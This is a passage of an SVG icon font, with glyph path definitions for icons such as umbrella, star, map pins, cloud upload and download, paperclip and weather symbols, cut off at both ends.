		c 46.368,0, 84,37.674, 84,84L 252,160 c0,11.564, 9.464,21, 21,21c 11.592,0, 20.972-9.436, 20.972-21l 56,0 c0,11.564, 9.52,21, 21,21
		c 11.592,0, 21-9.436, 21-21l 56,0 C 447.972,283.508, 347.564,384, 224,384z" horiz-adv-x="447.125" data-tags="umbrella, rain" />
<glyph unicode="&#xe267;" d="M 309.918,109.25L 448,216L 280,216L 224,384L 168,216L0,216L 138.25,109.684L 84-64L 224.224,43.52L 364.112-64 		
			z" data-tags="star, rate, like, favorite" />
<glyph unicode="&#xe268;" d="M 140,328c 22.428,0, 43.526-8.75, 59.388-24.64C 215.25,287.526, 224,266.428, 224,244s-8.75-43.526-24.22-58.982
			c-2.352-2.324-31.332-31.15-59.78-76.174c-28.322,44.954-57.204,73.668-59.388,75.796C 64.75,200.474, 56,221.572, 56,244s 8.75,43.526, 24.612,59.388
			S 117.572,328, 140,328 M 140,384C 104.174,384, 68.362,370.322, 41.020,342.98c-54.684-54.656-54.684-143.304,0-197.974C 41.020,145.020, 140,48, 140-64
			c0,112, 98.98,209.020, 98.98,209.020c 54.684,54.656, 54.684,143.304,0,197.974C 211.638,370.322, 175.826,384, 140,384L 140,384zM 112,244A28,28 1620 1 1 168,244A28,28 1620 1 1 112,244z" horiz-adv-x="280" data-tags="map-pin-stroke, pin, location" />
<glyph unicode="&#xe269;" d="M 238.98,342.98c-54.684,54.684-143.276,54.684-197.974,0c-54.684-54.656-54.684-143.332,0-197.96
				C 41.020,145.020, 140,48, 140-64c0,112, 98.98,209.020, 98.98,209.020C 293.678,199.648, 293.678,288.324, 238.98,342.98z M 140,188c-30.954,0-56,25.046-56,56
				s 25.046,56, 56,56s 56-25.046, 56-56S 170.954,188, 140,188z" horiz-adv-x="280" data-tags="map-pin-fill, pin, location" />
<glyph unicode="&#xe26a;" d="M 112,384C 50.148,384,0,333.852,0,272s 112-336, 112-336s 112,274.148, 112,336S 173.852,384, 112,384z M 112,216c-30.926,0-56,25.074-56,56
		s 25.074,56, 56,56s 56-25.074, 56-56S 142.926,216, 112,216z" horiz-adv-x="224" data-tags="map-pin-alt, pin, location" />
<glyph unicode="&#xe26b;" d="M 252.322,188.35l 81.046,0 c-10.276,39.704-41.342,70.798-81.046,81.046L 252.322,188.35 zM 252.322,131.65l0-81.018 c 39.704,10.22, 70.77,41.342, 81.046,81.018L 252.322,131.65 zM 195.622,188.35L 195.622,269.396 c-39.704-10.248-70.826-41.342-81.046-81.046L 195.622,188.35 zM 195.622,131.65L 114.576,131.65 c 10.22-39.676, 41.342-70.798, 81.046-81.018L 195.622,131.65 zM 252.322,327.258c 71.036-12.026, 126.868-67.872, 138.908-138.908L 448,188.35 C 435.036,290.704, 354.704,371.064, 252.322,384L 252.322,327.258 z
				M 56.714,188.35C 68.74,259.4, 124.572,315.232, 195.622,327.258L 195.622,384 C 93.296,371.064, 12.908,290.704,0,188.35L 56.714,188.35 zM 195.622-7.23c-71.036,12.026-126.868,67.816-138.908,138.88L0,131.65 C 12.908,29.296, 93.296-51.092, 195.622-64
				L 195.622-7.23 zM 391.23,131.65c-12.026-71.064-67.872-126.854-138.908-138.88L 252.322-64 C 354.704-51.092, 435.036,29.296, 448,131.65
				L 391.23,131.65 z" data-tags="target, goal" />
<glyph unicode="&#xe26c;" d="M0-8L 336-8L 336-64L0-64zM 224,132L 224,384L 112,384L 112,132L 56,132L 168-8L 280,132 		z" horiz-adv-x="336" data-tags="download" />
<glyph unicode="&#xe26d;" d="M0,384L 336,384L 336,328L0,328zM 112,188L 112-64L 224-64L 224,188L 280,188L 168,328L 56,188 		z" horiz-adv-x="336" data-tags="upload" />
<glyph unicode="&#xe26e;" d="M 336,328c-5.25,0-10.332-0.826-15.428-1.582C 301.056,360.97, 264.964,384, 224,384c-41.832,0-77.952-23.352-97.174-57.372
			C 121.898,327.286, 116.998,328, 112,328c-61.768,0-112-50.26-112-112s 50.232-112, 112-112l 84,0 l0-84 l-56,0 l 84-84l 84,84l-56,0 l0,84 l 84,0 c 61.796,0, 112,50.26, 112,112S 397.796,328, 336,328z M 336,160L 112,160 
			c-30.87,0-56,25.102-56,56c0,30.674, 27.202,54.418, 56.056,55.23c 0.112-13.174, 2.408-26.194, 7-38.444l 52.444,19.684C 169.176,258.658, 168,265.28, 168,272
			c0,30.898, 25.13,56, 56,56c 18.13,0, 34.482-8.974, 44.842-22.918C 241.78,284.628, 224,252.47, 224,216l 56,0 c0,30.898, 25.158,56, 56,56s 56-25.102, 56-56
			S 366.842,160, 336,160z" data-tags="cloud-download, download" />
<glyph unicode="&#xe26f;" d="M 336,328c-5.25,0-10.332-0.868-15.428-1.526C 301.056,360.928, 264.964,384, 224,384c-41.832,0-77.952-23.296-97.174-57.428
			C 121.898,327.23, 116.998,328, 112,328c-61.768,0-112-50.204-112-112s 50.232-112, 112-112l 224,0 c 61.796,0, 112,50.204, 112,112S 397.796,328, 336,328z M 336,160L 112,160 c-30.87,0-56,25.158-56,56
			c0,30.73, 27.202,54.362, 56.056,55.23C 112.168,258, 114.464,245.092, 119.056,232.842l 52.444,19.572C 169.176,258.658, 168,265.224, 168,272c0,30.842, 25.13,56, 56,56
			c 18.13,0, 34.482-8.974, 44.842-22.974C 241.78,284.572, 224,252.47, 224,216l 56,0 c0,30.842, 25.158,56, 56,56s 56-25.158, 56-56S 366.842,160, 336,160zM 224,104L 140,20L 196,20L 196-64L 252-64L 252,20L 308,20 		z" data-tags="cloud-upload, upload" />
<glyph unicode="&#xe270;" d="M 280,384l0-54.25 c0-22.428-8.75-43.526-24.556-59.332L 97.020,112.862C 71.974,87.872, 58.184,55.056, 56.658,20L0,20 
			l 84-84l 84,84L 112.602,20 c 1.47,20.132, 9.576,38.822, 23.954,53.27l 158.424,157.5C 321.454,257.23, 336,292.342, 336,329.75L 336,384 L 280,384 zM 335.342,20c-1.526,35.056-15.372,67.872-40.418,92.974l-31.22,31.010L 224,104.49l 31.388-31.22
			c 14.434-14.378, 22.526-33.138, 24.010-53.27L 224,20 l 84-84l 84,84L 335.342,20 z" horiz-adv-x="392" data-tags="fork" />
<glyph unicode="&#xe271;" d="M 242.102,169.912l-39.606,39.606l-56-56c-27.342-27.342-27.342-71.666,0-98.994c 27.342-27.342, 71.652-27.342, 98.994,0l 141.708,138.306
	c 43.722,43.736, 43.722,114.632,0,158.382c-43.75,43.736-114.66,43.736-158.382,0L 73.122,198.892c-60.144-60.13-60.144-157.64,0-217.798
	c 60.144-60.144, 157.654-60.144, 217.784,0l 84,84L 335.3,104.7l-0.14-0.14l-83.846-83.86c-38.262-38.248-100.324-38.248-138.6,0
	c-38.262,38.248-38.262,100.324,0,138.586L 268.408,311.62c 21.868,21.868, 57.33,21.868, 79.184,0c 21.882-21.882, 21.882-57.358,0-79.198l-141.694-138.306
	c-5.474-5.474-14.322-5.474-19.796,0s-5.474,14.322,0,19.796L 242.102,169.912z" data-tags="paperclip, attachment" />
<glyph unicode="&#xe272;" d="M 155.413,132c 6.508,31.956, 34.727,56, 68.597,56
			c 33.87,0, 62.088-24.044, 68.579-56l 28,0 c-6.855,47.359-47.324,84-96.579,84c-49.237,0-89.723-36.641-96.578-84L 155.413,132 z
			 M 224.010,244c 7.729,0, 14,6.271, 14,14l0,28 c0,7.729-6.271,14-14,14c-7.728,0-14-6.271-14-14l0-28 
			C 210.010,250.271, 216.282,244, 224.010,244z M 352.689,246.698c-5.468,5.469-14.327,5.469-19.797,0l-19.797-19.797
			c-5.468-5.469-5.468-14.328,0-19.797c 5.47-5.469, 14.329-5.469, 19.797,0l 19.797,19.797
			C 358.158,232.369, 358.158,241.229, 352.689,246.698z M 134.905,226.901l-19.797,19.797c-5.468,5.469-14.326,5.469-19.797,0
			c-5.468-5.469-5.468-14.328,0-19.797l 19.797-19.797c 5.47-5.469, 14.329-5.469, 19.797,0
			C 140.375,212.573, 140.375,221.432, 134.905,226.901z M 308.010,104l-168,0 c-7.728,0-14-6.271-14-14s 6.272-14, 14-14l 168,0 
			c 7.729,0, 14,6.271, 14,14S 315.738,104, 308.010,104z M 280.010,48l-112,0 c-7.728,0-14-6.271-14-14s 6.272-14, 14-14l 112,0 
			c 7.729,0, 14,6.271, 14,14S 287.738,48, 280.010,48z" data-tags="sunrise, dawn, weather" />
<glyph unicode="&#xe273;" d="M 224,258c-54.031,0-98-43.969-98-98c0-54.031, 43.969-98, 98-98
			s 98,43.969, 98,98C 322,214.031, 278.031,258, 224,258z M 224,90c-38.665,0-70,31.335-70,70s 31.335,70, 70,70s 70-31.335, 70-70
			S 262.664,90, 224,90z M 224,286c 7.729,0, 14,6.271, 14,14L 238,328 c0,7.729-6.271,14-14,14s-14-6.271-14-14l0-28 
			C 210,292.271, 216.271,286, 224,286z M 224,34c-7.729,0-14-6.271-14-14l0-28 c0-7.729, 6.271-14, 14-14s 14,6.271, 14,14l0,28 
			C 238,27.729, 231.729,34, 224,34z M 332.883,249.104l 19.797,19.797c 5.469,5.469, 5.469,14.328,0,19.797
			c-5.469,5.469-14.328,5.469-19.797,0l-19.797-19.797c-5.469-5.469-5.469-14.328,0-19.797
			C 318.554,243.635, 327.414,243.635, 332.883,249.104z M 115.117,70.895l-19.797-19.797c-5.469-5.468-5.469-14.327,0-19.796
			s 14.328-5.469, 19.797,0l 19.797,19.796c 5.469,5.487, 5.469,14.329,0,19.797C 129.446,76.365, 120.586,76.383, 115.117,70.895z M 98,160
			c0,7.729-6.271,14-14,14L 56,174 c-7.729,0-14-6.271-14-14s 6.271-14, 14-14l 28,0 C 91.729,146, 98,152.271, 98,160z M 392,174l-28,0 
			c-7.729,0-14-6.271-14-14s 6.271-14, 14-14l 28,0 c 7.729,0, 14,6.271, 14,14S 399.729,174, 392,174z M 115.098,249.104
			c 5.47-5.469, 14.329-5.469, 19.797,0c 5.47,5.469, 5.47,14.328,0,19.797l-19.797,19.797c-5.469,5.469-14.327,5.469-19.797,0
			c-5.469-5.469-5.469-14.328,0-19.797L 115.098,249.104z M 332.902,70.914c-5.487,5.469-14.329,5.469-19.797,0
			c-5.47-5.469-5.487-14.328,0-19.797l 19.797-19.797c 5.468-5.469, 14.327-5.469, 19.796,0s 5.469,14.327,0,19.797L 332.902,70.914z" data-tags="sun, weather" />
<glyph unicode="&#xe274;" d="M 306.12,83.744c-43.642-43.676-114.698-43.676-158.375,0c-43.676,43.677-43.676,114.734,0,158.393
	c 11.558,11.539, 25.648,20.344, 41.853,26.085c 5.105,1.787, 10.756,0.492, 14.547-3.318c 3.829-3.828, 5.123-9.479, 3.319-14.547
	c-10.974-30.953-3.5-64.458, 19.468-87.427c 22.933-22.95, 56.438-30.406, 87.427-19.469c 5.068,1.804, 10.737,0.51, 14.547-3.318
	c 3.829-3.791, 5.105-9.46, 3.3-14.547C 326.5,109.392, 317.678,95.302, 306.12,83.744z M 167.542,222.34
	c-32.758-32.758-32.758-86.060,0-118.8c 35-35.018, 94.609-31.865, 125.125,7.146c-31.464-1.969-62.453,9.388-85.531,32.449
	c-23.078,23.060-34.416,54.050-32.449,85.513C 172.173,226.679, 169.784,224.582, 167.542,222.34z" data-tags="moon, night, weather" />
<glyph unicode="&#xe275;" d="M 237.125,272.875c 7.729,0, 14,6.271, 14,14L 251.125,314.875 c0,7.729-6.271,14-14,14s-14-6.271-14-14l0-28 
			C 223.125,279.146, 229.396,272.875, 237.125,272.875z M 237.125,20.875c-7.729,0-14-6.271-14-14l0-28 c0-7.729, 6.271-14, 14-14s 14,6.271, 14,14l0,28 
			C 251.125,14.604, 244.854,20.875, 237.125,20.875z M 128.242,57.77l-19.797-19.797c-5.469-5.468-5.469-14.327,0-19.796s 14.328-5.469, 19.797,0
			l 19.797,19.796c 5.469,5.487, 5.469,14.329,0,19.797C 142.571,63.24, 133.711,63.258, 128.242,57.77z M 111.125,146.875
			c0,7.729-6.271,14-14,14L 69.125,160.875 c-7.729,0-14-6.271-14-14s 6.271-14, 14-14l 28,0 C 104.854,132.875, 111.125,139.146, 111.125,146.875z M 128.223,235.979
			c 5.47-5.469, 14.329-5.469, 19.797,0c 5.47,5.469, 5.47,14.328,0,19.797l-19.797,19.797c-5.469,5.469-14.327,5.469-19.797,0
			c-5.469-5.469-5.469-14.328,0-19.797L 128.223,235.979z M 293.125,244.875c-9.79,0-19.085-1.896-28-4.557
			c-8.915,2.662-18.21,4.557-28,4.557c-54.031,0-98-43.969-98-98s 43.969-98, 98-98c 9.79,0, 19.085,1.895, 28,4.558
			c 8.915-2.663, 18.21-4.558, 28-4.558c 54.031,0, 98,43.969, 98,98S 347.156,244.875, 293.125,244.875z M 223.325,78.26
			C 191.26,84.676, 167.125,112.933, 167.125,146.875c0,33.943, 24.135,62.198, 56.2,68.615C 205.917,197.789, 195.125,173.599, 195.125,146.875
			S 205.917,95.961, 223.325,78.26z" data-tags="sun, weather" />
<glyph unicode="&#xe276;" d="M 433.125,188.875l-71.422,0 C 354.648,251.693, 301.821,300.875, 237.125,300.875c-43.585,0-82.031-22.276-104.672-56L 41.125,244.875 
	c-7.729,0-14-6.271-14-14s 6.271-14, 14-14l 77.729,0 c-3.171-8.932-5.232-18.284-6.307-28L 69.125,188.875 c-7.729,0-14-6.271-14-14s 6.271-14, 14-14
	l 43.422,0 c 1.075-9.698, 3.136-19.085, 6.307-28L 43.676,132.875 C 34.527,132.875, 27.125,126.604, 27.125,118.875s 7.402-14, 16.552-14l 88.777,0 
	c 22.641-33.742, 61.085-56, 104.672-56c 43.585,0, 82.031,22.258, 104.671,56l 32.778,0 c 9.15,0, 16.552,6.271, 16.552,14s-7.402,14-16.552,14
	l-19.177,0 c 3.171,8.915, 5.213,18.302, 6.307,28L 433.125,160.875 c 7.729,0, 14,6.271, 14,14S 440.854,188.875, 433.125,188.875z M 148.95,216.875L 237.125,216.875 
	c 7.729,0, 14,6.271, 14,14s-6.271,14-14,14l-68.378,0 c 17.683,17.263, 41.763,28, 68.378,28c 49.255,0, 89.724-36.641, 96.578-84l-193.156,0 
	C 141.969,198.773, 144.777,208.162, 148.95,216.875z M 237.125,76.875c-26.615,0-50.696,10.755-68.378,28l 136.737,0 
	C 287.821,87.63, 263.74,76.875, 237.125,76.875z M 325.281,132.875L 148.95,132.875 c-4.174,8.713-6.982,18.102-8.403,28l 193.156,0 
	C 332.281,150.977, 329.473,141.588, 325.281,132.875z" data-tags="windy, weather" />
<glyph unicode="&#xe277;" d="M 377.125,216c-23.188,0-42-18.813-42-42c0-4.94, 1.021-9.588, 2.571-14L 69.125,160 c-7.729,0-14-6.271-14-14s 6.271-14, 14-14
			l 308,0 c 23.188,0, 42,18.813, 42,42S 400.313,216, 377.125,216z M 69.125,188l 168,0 c 23.188,0, 42,18.813, 42,42s-18.813,42-42,42s-42-18.813-42-42
			c0-4.94, 1.021-9.588, 2.571-14L 69.125,216 c-7.729,0-14-6.271-14-14S 61.396,188, 69.125,188z M 293.125,104c-0.821,0-1.605-0.182-2.442-0.255
			c-0.547,0.036-1.003,0.255-1.55,0.255L 73.136,104 C 63.183,104, 55.125,97.729, 55.125,90s 8.058-14, 18.011-14l 180.56,0 
			c-1.55-4.412-2.571-9.079-2.571-14c0-23.188, 18.813-42, 42-42s 42,18.813, 42,42S 316.313,104, 293.125,104z" data-tags="wind, weather" />
<glyph unicode="&#xe278;" d="M 335.013,128.281l-28.547,16.48c 0.912,4.958, 1.531,10.026, 1.531,15.239c0,5.232-0.619,10.318-1.568,15.276
	l 28.547,16.497c 13.416,7.766, 17.974,24.883, 10.263,38.227c-7.747,13.398-24.828,17.992-38.227,10.281l-28.821-16.643
	c-7.71,6.563-16.497,11.74-26.196,15.185L 251.996,272 c0,15.459-12.523,28-28,28c-15.458,0-28-12.541-28-28l0-33.159 
	c-9.698-3.446-18.484-8.623-26.195-15.185l-28.766,16.607c-13.398,7.729-30.534,3.154-38.28-10.245
	c-7.711-13.38-3.117-30.497, 10.28-38.227l 28.493-16.461c-0.929-4.977-1.532-10.081-1.532-15.331
	c0-5.213, 0.602-10.3, 1.532-15.258l-28.511-16.46c-13.417-7.73-18.011-24.883-10.263-38.281
	c 7.71-13.344, 24.846-17.938, 38.263-10.227l 28.729,16.607c 7.711-6.563, 16.516-11.776, 26.25-15.24L 195.995,48 c0-15.477, 12.542-28, 28-28
	c 15.477,0, 28,12.523, 28,28l0,33.177 c 9.734,3.463, 18.54,8.641, 26.213,15.221l 28.802-16.624c 13.398-7.71, 30.516-3.117, 38.227,10.227
	C 352.987,103.398, 348.412,120.516, 335.013,128.281z M 195.997,160c0,15.459, 12.523,28, 28,28c 15.459,0, 28-12.541, 28-28
	c0-15.458-12.541-28-28-28C 208.521,132, 195.997,144.542, 195.997,160z" data-tags="snowflake, gear, weather" />
<glyph unicode="&#xe279;" d="M 182,328c 7.729,0, 14,6.271, 14,14L 196,370 c0,7.729-6.271,14-14,14s-14-6.271-14-14l0-28 
			C 168,334.271, 174.271,328, 182,328z M 290.883,291.104l 19.797,19.797c 5.468,5.469, 5.468,14.328,0,19.797
			c-5.469,5.469-14.328,5.469-19.797,0l-19.797-19.797c-5.469-5.469-5.469-14.328,0-19.797
			C 276.554,285.635, 285.414,285.635, 290.883,291.104z M 14,188l 28,0 c 7.729,0, 14,6.271, 14,14s-6.271,14-14,14L 14,216 
			c-7.729,0-14-6.271-14-14S 6.271,188, 14,188z M 308,202c0-7.729, 6.271-14, 14-14l 28,0 c 7.729,0, 14,6.271, 14,14s-6.271,14-14,14l-28,0 
			C 314.271,216, 308,209.729, 308,202z M 73.098,291.104c 5.47-5.469, 14.329-5.469, 19.797,0c 5.47,5.469, 5.47,14.328,0,19.797
			L 73.098,330.698c-5.469,5.469-14.327,5.469-19.797,0c-5.469-5.469-5.469-14.328,0-19.797L 73.098,291.104z M 350,160
			c-4.648,0-9.242-0.328-13.818-0.984c-14.675,20.016-34.233,35.291-56.401,45.063C 278.652,257.125, 235.321,300, 182,300
			c-54.031,0-98-43.969-98-98c0-15.258, 3.792-29.531, 10.063-42.383C 41.891,157.484,0,114.664,0,62c0-54.031, 43.969-98, 98-98
			c 11.977,0, 23.698,2.188, 34.745,6.416C 158.083-51.677, 190.313-64, 224-64c 33.724,0, 65.916,12.323, 91.255,34.416
			C 326.301-33.813, 338.023-36, 350-36c 54.031,0, 98,43.969, 98,98S 404.031,160, 350,160z M 182,272c 34.835,0, 63.492-25.521, 68.87-58.844
			c-8.768,1.75-17.718,2.844-26.869,2.844c-40.196,0-77.438-17.335-103.578-46.594C 115.227,179.177, 112,190.151, 112,202
			C 112,240.664, 143.336,272, 182,272z M 350-8c-14.984,0-28.801,4.813-40.196,12.834C 289.261-19.922, 258.671-36, 224-36
			c-34.672,0-65.261,16.078-85.804,40.834C 126.821-3.188, 112.984-8, 98-8c-38.665,0-70,31.335-70,70s 31.335,70, 70,70
			c 6.781,0, 13.179-1.276, 19.359-3.098c 2.46-0.693, 4.959-1.24, 7.273-2.206c 3.828,7.492, 8.641,14.347, 13.982,20.781
			C 159.068,172.086, 189.492,188, 224,188c 8.859,0, 17.355-1.276, 25.594-3.245c 9.242-2.187, 17.974-5.505, 26.105-9.88
			c 20.38-10.828, 37.114-27.599, 47.65-48.18C 331.571,130.086, 340.558,132, 350,132c 38.665,0, 70-31.335, 70-70S 388.664-8, 350-8z" data-tags="cloudy, weather" />
<glyph unicode="&#xe27a;" d="M 380.679,154.605c 4.266,3.172, 8.585,6.289, 12.45,10.153c 11.557,11.575, 20.362,25.666, 26.068,41.872
	c 1.823,5.068, 0.528,10.755-3.3,14.547c-3.81,3.828-9.46,5.122-14.545,3.318c-30.971-10.938-64.477-3.5-87.409,19.469
	C 290.974,266.934, 283.5,300.42, 294.474,331.373c 1.787,5.086, 0.51,10.737-3.318,14.565c-3.791,3.791-9.46,5.105-14.547,3.317
	C 260.385,343.496, 246.313,334.71, 234.755,323.152c-29.348-29.313-38.482-70.875-28.419-108.318c-37.844-4.831-71.859-24.938-94.518-55.819
	c-4.575,0.656-9.169,0.984-13.818,0.984c-54.031,0-98-43.969-98-98.001c0-54.030, 43.969-97.999, 98-97.999
	c 11.977,0, 23.698,2.188, 34.745,6.417C 158.082-51.676, 190.312-64, 223.999-64c 33.724,0, 65.916,12.323, 91.255,34.417
	C 326.301-33.813, 338.022-36, 349.999-36c 54.031,0, 98,43.969, 98,97.999C 448,105.258, 419.635,141.643, 380.679,154.605z
	 M 254.552,303.355c 2.224,2.26, 4.612,4.357, 7.128,6.325c-1.969-31.482, 9.388-62.453, 32.466-85.513
	c 23.079-23.078, 54.050-34.416, 85.532-32.466c-12.068-15.386-28.693-24.956-46.485-29.040
	c-23.953,30.406-59.154,49.547-97.963,52.664C 224.492,245.039, 230.781,279.584, 254.552,303.355z M 350-8
	c-14.984,0-28.801,4.813-40.196,12.834C 289.26-19.922, 258.671-36, 224-36c-34.672,0-65.261,16.078-85.804,40.834
	C 126.821-3.188, 112.985-8, 98-8c-38.665,0-70,31.335-70,69.999c0,38.665, 31.335,70, 70,70c 9.46,0, 18.429-1.915, 26.633-5.304
	c 17.665,34.436, 52.281,58.534, 93.023,60.85c 2.133,0.127, 4.211,0.456, 6.344,0.456c 11.302,0, 22.148-1.768, 32.375-4.885
	c 13.817-4.23, 26.415-11.12, 37.352-19.997c 10.446-8.477, 19.196-18.867, 26.085-30.534c 1.166-1.969, 2.48-3.828, 3.536-5.888
	c 8.222,3.391, 17.209,5.304, 26.652,5.304c 38.665,0, 70-31.335, 70-70S 388.664-8, 350-8z" data-tags="cloud, night, weather" />
<glyph unicode="&#xe27b;" d="M 224,300.875c 7.729,0, 14,6.271, 14,14L 238,342.875 c0,7.729-6.271,14-14,14s-14-6.271-14-14l0-28 
			C 210,307.146, 216.271,300.875, 224,300.875z M 332.883,263.979l 19.797,19.797c 5.468,5.469, 5.468,14.328,0,19.797
			c-5.469,5.469-14.328,5.469-19.797,0l-19.797-19.797c-5.469-5.469-5.469-14.328,0-19.797S 327.414,258.51, 332.883,263.979z M 56,160.875l 28,0 
			c 7.729,0, 14,6.271, 14,14s-6.271,14-14,14L 56,188.875 c-7.729,0-14-6.271-14-14S 48.271,160.875, 56,160.875z M 350,174.875c0-7.729, 6.271-14, 14-14l 28,0 
			c 7.729,0, 14,6.271, 14,14s-6.271,14-14,14l-28,0 C 356.271,188.875, 350,182.604, 350,174.875z M 115.098,263.979c 5.47-5.469, 14.329-5.469, 19.797,0
			c 5.47,5.469, 5.47,14.328,0,19.797l-19.797,19.797c-5.469,5.469-14.327,5.469-19.797,0c-5.469-5.469-5.469-14.328,0-19.797
			L 115.098,263.979z M 127.422,160.875l 28,0 c-0.929,4.521-1.422,9.206-1.422,14c0,38.665, 31.335,70, 70,70c 38.665,0, 70-31.335, 70-70
			c0-4.794-0.492-9.479-1.422-14l 28,0 c 0.693,4.612, 1.422,9.206, 1.422,14c0,54.031-43.969,98-98,98s-98-43.969-98-98
			C 126,170.081, 126.766,165.487, 127.422,160.875z M 392,132.875L 56,132.875 c-7.729,0-14-6.271-14-14s 6.271-14, 14-14l 336,0 c 7.729,0, 14,6.271, 14,14
			S 399.729,132.875, 392,132.875z M 392,76.875L 56,76.875 c-7.729,0-14-6.271-14-14s 6.271-14, 14-14l 336,0 c 7.729,0, 14,6.271, 14,14S 399.729,76.875, 392,76.875z
			 M 392,20.875L 56,20.875 c-7.729,0-14-6.271-14-14s 6.271-14, 14-14l 336,0 c 7.729,0, 14,6.271, 14,14S 399.729,20.875, 392,20.875z" data-tags="weather" />
<glyph unicode="&#xe27c;" d="M 56,104.874l 336,0 c 7.729,0, 14,6.271, 14,14s-6.271,14-14,14L 56,132.874 c-7.729,0-14-6.271-14-14
			S 48.271,104.874, 56,104.874z M 392,76.874L 56,76.874 c-7.729,0-14-6.271-14-14s 6.271-14, 14-14l 336,0 c 7.729,0, 14,6.271, 14,14
			S 399.729,76.874, 392,76.874z M 392,20.874L 56,20.874 c-7.729,0-14-6.271-14-14s 6.271-14, 14-14l 336,0 c 7.729,0, 14,6.271, 14,14
			S 399.729,20.874, 392,20.874z M 179.412,160.875c-0.291,0.291-0.657,0.474-0.948,0.766c-32.758,32.758-32.758,86.042,0,118.818
			c 2.242,2.224, 4.611,4.338, 7.128,6.307c-1.97-31.463, 9.388-62.453, 32.466-85.513c 23.077-23.096, 54.066-34.416, 85.53-32.448
			c-2.334-2.971-5.14-5.359-7.784-7.929l 36.331,0 c 4.412,7.037, 8.094,14.656, 11.010,22.805c 1.768,5.122, 0.474,10.791-3.354,14.584
			c-3.755,3.81-9.443,5.122-14.546,3.317c-30.954-10.937-64.44-3.482-87.391,19.469c-22.97,22.969-30.443,56.456-19.47,87.409
			c 1.823,5.086, 0.51,10.737-3.317,14.565c-3.792,3.81-9.461,5.104-14.547,3.3c-16.206-5.724-30.297-14.528-41.854-26.068
			C 120.859,262.448, 115.919,204.206, 143.554,160.875L 179.412,160.875 z" data-tags="weather" />
<glyph unicode="&#xe27d;" d="M 29.404,160C 28.492,164.521, 28,169.206, 28,174
			c0,38.665, 31.335,70, 70,70c 9.46,0, 18.429-1.932, 26.633-5.323C 143.209,274.916, 180.505,300, 224,300s 80.792-25.084, 99.348-61.323
			C 331.571,242.068, 340.558,244, 350,244c 38.665,0, 70-31.335, 70-70c0-4.794-0.492-9.479-1.422-14l 28,0 
			c 0.693,4.612, 1.422,9.206, 1.422,14c0,54.031-43.969,98-98,98c-4.648,0-9.242-0.328-13.818-0.984
			C 310.042,306.635, 268.789,328, 224,328s-86.023-21.365-112.182-56.984C 107.242,271.672, 102.648,272, 98,272C 43.969,272,0,228.031,0,174
			c0-4.794, 0.747-9.388, 1.422-14L 29.404,160 z M 434,132L 14,132 c-7.729,0-14-6.271-14-14s 6.271-14, 14-14l 420,0 c 7.729,0, 14,6.271, 14,14
			S 441.729,132, 434,132z M 434,76L 14,76 c-7.729,0-14-6.271-14-14s 6.271-14, 14-14l 420,0 c 7.729,0, 14,6.271, 14,14S 441.729,76, 434,76z
			 M 434,20L 14,20 c-7.729,0-14-6.271-14-14s 6.271-14, 14-14l 420,0 c 7.729,0, 14,6.271, 14,14S 441.729,20, 434,20z" data-tags="weather, cloud" />
<glyph unicode="&#xe27e;" d="M 98,244l 252,0 c 7.729,0, 14,6.271, 14,14s-6.271,14-14,14L 98,272 c-7.729,0-14-6.271-14-14S 90.271,244, 98,244z
			 M 350,216L 98,216 c-7.729,0-14-6.271-14-14s 6.271-14, 14-14l 252,0 c 7.729,0, 14,6.271, 14,14S 357.729,216, 350,216z M 350,160L 98,160 
			c-7.729,0-14-6.271-14-14s 6.271-14, 14-14l 252,0 c 7.729,0, 14,6.271, 14,14S 357.729,160, 350,160z M 350,104L 98,104 c-7.729,0-14-6.271-14-14
			s 6.271-14, 14-14l 252,0 c 7.729,0, 14,6.271, 14,14S 357.729,104, 350,104z" data-tags="lines, list, weather" />
<glyph unicode="&#xe27f;" d="M 350,244c-4.648,0-9.242-0.328-13.818-0.984
	C 310.042,278.635, 268.789,300, 224,300s-86.023-21.365-112.182-56.984C 107.242,243.672, 102.648,244, 98,244C 43.969,244,0,200.031,0,146
	c0-54.031, 43.969-98, 98-98c 11.977,0, 23.698,2.188, 34.745,6.416C 158.083,32.323, 190.313,20, 224,20
	c 33.724,0, 65.916,12.323, 91.255,34.416C 326.301,50.187, 338.023,48, 350,48c 54.031,0, 98,43.969, 98,98
	C 448,200.031, 404.031,244, 350,244z M 350,76c-14.984,0-28.801,4.813-40.196,12.834C 289.261,64.079, 258.671,48, 224,48
	c-34.672,0-65.261,16.079-85.804,40.834C 126.821,80.812, 112.984,76, 98,76c-38.665,0-70,31.335-70,70s 31.335,70, 70,70
	c 9.46,0, 18.429-1.932, 26.633-5.323C 143.209,246.916, 180.505,272, 224,272s 80.792-25.084, 99.348-61.323
	C 331.571,214.068, 340.558,216, 350,216c 38.665,0, 70-31.335, 70-70S 388.664,76, 350,76z" data-tags="cloud, weather" />
<glyph unicode="&#xe280;" d="M 350,328c-4.648,0-9.242-0.328-13.818-0.984C 310.042,362.635, 268.789,384, 224,384
	c-44.79,0-86.023-21.365-112.182-56.984C 107.242,327.672, 102.648,328, 98,328C 43.969,328,0,284.031,0,230s 43.969-98, 98-98
	c 11.977,0, 23.698,2.188, 34.745,6.416c 18.848-16.425, 41.489-27.38, 65.716-31.956L 168,76l 28-28l-28-84l 84,84l-28,28l 9.625,28.874
	c 30.151,2.133, 58.734,13.6, 81.63,33.542C 326.301,134.187, 338.023,132, 350,132c 54.031,0, 98,43.969, 98,98S 404.031,328, 350,328z
	 M 350,160c-14.984,0-28.801,4.813-40.196,12.834c-16.571-19.979-39.867-33.797-66.391-38.591L 224,132
	c-34.672,0-65.261,16.078-85.804,40.834C 126.821,164.812, 112.984,160, 98,160c-38.665,0-70,31.335-70,70s 31.335,70, 70,70
	c 9.46,0, 18.429-1.932, 26.633-5.323C 143.209,330.916, 180.505,356, 224,356s 80.792-25.084, 99.348-61.323
	C 331.571,298.068, 340.558,300, 350,300c 38.665,0, 70-31.335, 70-70S 388.664,160, 350,160z" data-tags="lightning, weather, cloud" />
<glyph unicode="&#xe281;" d="M 350,328c-4.648,0-9.242-0.328-13.818-0.984C 310.042,362.635, 268.789,384, 224,384
			c-44.79,0-86.023-21.365-112.182-56.984C 107.242,327.672, 102.648,328, 98,328C 43.969,328,0,284.031,0,230s 43.969-98, 98-98
			c 11.977,0, 23.698,2.188, 34.745,6.416c 10.755-9.37, 22.969-16.588, 35.801-22.239l 21.802,21.765
			c-20.526,6.673-38.645,18.612-52.154,34.892C 126.821,164.812, 112.984,160, 98,160c-38.665,0-70,31.335-70,70s 31.335,70, 70,70
			c 9.46,0, 18.429-1.932, 26.633-5.323C 143.209,330.916, 180.505,356, 224,356s 80.792-25.084, 99.348-61.323
